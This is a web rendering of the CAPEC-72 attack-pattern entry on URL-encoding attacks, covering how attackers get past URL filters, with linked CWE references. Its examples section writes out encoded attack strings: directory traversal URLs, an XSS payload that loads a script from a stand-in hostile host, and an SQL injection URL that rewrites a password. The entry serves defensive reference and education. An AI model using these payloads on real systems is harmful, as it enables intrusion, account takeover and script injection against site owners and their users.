Dark Mode

Settings

Capec-72 Detail

URL Encoding

Detailed Software Likelihood: High Typical Severity: High

Parents: 267

Threats: T62 T291

Tools: 18

Description

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

Extended Description

A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent- encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An adversary will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode- encoding, etc. The adversary could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an adversary may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).
External ID Source Link Description
CAPEC-72 capec https://capec.mitre.org/data/definitions/72.html
CWE-173 cwe http://cwe.mitre.org/data/definitions/173.html
CWE-177 cwe http://cwe.mitre.org/data/definitions/177.html
CWE-172 cwe http://cwe.mitre.org/data/definitions/172.html
CWE-73 cwe http://cwe.mitre.org/data/definitions/73.html
CWE-74 cwe http://cwe.mitre.org/data/definitions/74.html
CWE-20 cwe http://cwe.mitre.org/data/definitions/20.html
REF-1 reference_from_CAPEC G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley
REF-495 reference_from_CAPEC http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html Gunter Ollmann, URL Encoded Attacks - Attacks using the common web browser, CGISecurity.com
REF-496 reference_from_CAPEC http://www.ietf.org/rfc/rfc3986.txt T. Berners-Lee, R. Fielding, L. Masinter, RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax, 2005--01
REF-497 reference_from_CAPEC http://www.ietf.org/rfc/rfc1738.txt T. Berners-Lee, L. Masinter, M. McCahill, RFC 1738 - Uniform Resource Locators (URL), 1994--12
REF-498 reference_from_CAPEC http://www.w3schools.com/tags/ref_urlencode.asp HTML URL Encoding Reference, W3Schools.com, Refsnes Data
REF-499 reference_from_CAPEC http://www.albionresearch.com/misc/urlencode.php The URLEncode and URLDecode Page, Albion Research Ltd
REF-500 reference_from_CAPEC http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS David Wheeler, Secure Programming for Linux and Unix HOWTO
Explore
  1. Survey web application for URLs with parameters: Using a browser, an automated tool or by inspecting the application, an adversary records all URLs that contain parameters.

  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
Experiment
  1. Probe URLs to locate vulnerabilities: The adversary uses the URLs gathered in the "Explore" phase as a target list and tests parameters with different encodings of special characters to see how the web application will handle them.

  2. Techniques
    Use URL encodings of special characters such as semi-colons, backslashes, or question marks that might be filtered out normally.
    Combine the use of URL encodings with other encoding techniques such as the triple dot and escape slashes.
Exploit
  1. Inject special characters into URL parameters: Using the information gathered in the "Experiment" phase, the adversary injects special characters into the URL using URL encoding. This can lead to path traversal, cross-site scripting, SQL injection, etc.

  1. The application should accepts and decodes URL input.
  2. The application performs insufficient filtering/canonicalization on the URLs.

Not present

Low Medium
An adversary can try special characters in the URL and bypass the URL validation.
The adversary may write a script to defeat the input filtering mechanism.
Integrity Availability Authorization Access Control Confidentiality
Execute Unauthorized Commands (Run Arbitrary Code) Resource Consumption (Denial of Service) Gain Privileges Gain Privileges Read Data
Execute Unauthorized Commands (Run Arbitrary Code) Execute Unauthorized Commands (Run Arbitrary Code)
Gain Privileges
  1. URL Encodings in IceCast MP3 Server. The following type of encoded string has been known traverse directories against the IceCast MP3 server9: http://[targethost]:8000/somefile/%2E%2E/target.mp3 or using "/%25%25/" instead of "/../". The control character ".." can be used by an adversary to escape the document root.See also: CVE-2001-0784
  2. Cross-Site Scripting URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e HTML execution: [REF-495]
  3. SQL Injection Original database query in the example file - "login.asp":SQLQuery = "SELECT preferences FROM logintable WHERE userid='" & Request.QueryString("userid") & "' AND password='" & Request.QueryString("password") & "';" URL-encoded attack:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00 Executed database query:SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d'; From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html
  4. Combined Encodings CesarFTP Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks. An adversary could provide a URL that included a string like /...%5C/ This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.See also: CVE-2001-1335